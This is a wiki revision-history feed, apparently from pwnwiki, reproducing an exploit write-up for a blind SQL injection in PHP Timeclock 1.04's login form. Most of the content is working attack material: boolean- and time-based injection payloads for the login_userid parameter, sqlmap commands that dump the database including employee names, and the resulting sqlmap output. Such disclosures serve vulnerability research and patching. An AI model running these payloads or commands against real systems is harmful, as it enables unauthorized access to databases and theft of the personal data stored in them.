<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="chinese">
	<id>https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=PHP_Timeclock_1.04_SQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E</id>
	<title>PHP Timeclock 1.04 SQL注入漏洞 - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=PHP_Timeclock_1.04_SQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E"/>
	<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=PHP_Timeclock_1.04_SQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E&amp;action=history"/>
	<updated>2026-04-13T20:11:05Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.35.1</generator>
	<entry>
		<id>https://pwnwiki.com/index.php?title=PHP_Timeclock_1.04_SQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E&amp;diff=2728&amp;oldid=prev</id>
		<title>Pwnwiki: Created page with &quot;==EXP== &lt;pre&gt; # Exploit Title: PHP Timeclock 1.04 - Time and Boolean Based Blind SQL Injection # Date: 03.05.2021 # Exploit Author: Tyler Butler # Vendor Homepage: http://time...&quot;</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=PHP_Timeclock_1.04_SQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E&amp;diff=2728&amp;oldid=prev"/>
		<updated>2021-05-08T02:07:05Z</updated>

		<summary type="html">&lt;p&gt;Created page with &amp;quot;==EXP== &amp;lt;pre&amp;gt; # Exploit Title: PHP Timeclock 1.04 - Time and Boolean Based Blind SQL Injection # Date: 03.05.2021 # Exploit Author: Tyler Butler # Vendor Homepage: http://time...&amp;quot;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;==EXP==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# Exploit Title: PHP Timeclock 1.04 - Time and Boolean Based Blind SQL Injection&lt;br /&gt;
# Date: 03.05.2021&lt;br /&gt;
# Exploit Author: Tyler Butler&lt;br /&gt;
# Vendor Homepage: http://timeclock.sourceforge.net&lt;br /&gt;
# Software Link: https://sourceforge.net/projects/timeclock/files/PHP%20Timeclock/PHP%20Timeclock%201.04/&lt;br /&gt;
# Version: 1.04&lt;br /&gt;
# Tested on: PHP 4.4.9/5.3.3 Apache 2.2 MySql 4.1.22/5&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Description: PHP Timeclock is vulnerable to both Boolean and Time Based SQL Injection on login.php via the login_userid parameter. This PoC shows how SQLmap can be used to exploit this vulnerability to dump database contents&lt;br /&gt;
&lt;br /&gt;
Boolean Based Payload: user' RLIKE (SELECT (CASE WHEN (8535=8535) THEN 0x75736572 ELSE 0x28 END))-- QwMo&amp;amp;login_password=pass&lt;br /&gt;
Time Based Payload: user' AND (SELECT 4247 FROM (SELECT(SLEEP(5)))ztHm) AND 'WHmv'='WHmv&amp;amp;login_password=pass&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Steps to reproduce:&lt;br /&gt;
  1. Run sqlmap against a instance of PHP Timeclock&lt;br /&gt;
  2. Follow the instructions below for specific versions of MySQL&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
MySQL &amp;gt;= 5.0.12: &lt;br /&gt;
&lt;br /&gt;
$ sqlmap -u http://localhost/login.php --method POST --data &amp;quot;login_userid=user&amp;amp;login_password=pass&amp;quot; -p login_userid --not-string=&amp;quot;Warning&amp;quot; --dbms=MySQL --technique=TB --current-db&lt;br /&gt;
---&lt;br /&gt;
Parameter: login_userid (POST)&lt;br /&gt;
    Type: time-based blind&lt;br /&gt;
    Title: MySQL &amp;gt;= 5.0.12 AND time-based blind (query SLEEP)&lt;br /&gt;
    Payload: login_userid=user' AND (SELECT 4247 FROM (SELECT(SLEEP(5)))ztHm) AND 'WHmv'='WHmv&amp;amp;login_password=pass&lt;br /&gt;
---&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
MySQL &amp;lt; 5: On versions using MySQL &amp;lt; 5, table names must be included as arguments as information_schema was not introduced into MySQL yet.&lt;br /&gt;
&lt;br /&gt;
$ sqlmap -u http://localhost/login.php --method POST --data &amp;quot;login_userid=user&amp;amp;login_password=pass&amp;quot; -p login_userid --not-string=&amp;quot;Warning&amp;quot; --technique=B -D timeclock -T employees, -C empfullname --dump --dbms=MySQL -v &lt;br /&gt;
---&lt;br /&gt;
Parameter: login_userid (POST)&lt;br /&gt;
    Type: boolean-based blind&lt;br /&gt;
    Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause&lt;br /&gt;
    Payload: login_userid=user' RLIKE (SELECT (CASE WHEN (8535=8535) THEN 0x75736572 ELSE 0x28 END))-- QwMo&amp;amp;login_password=pass&lt;br /&gt;
---&lt;br /&gt;
            &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Pwnwiki</name></author>
	</entry>
</feed>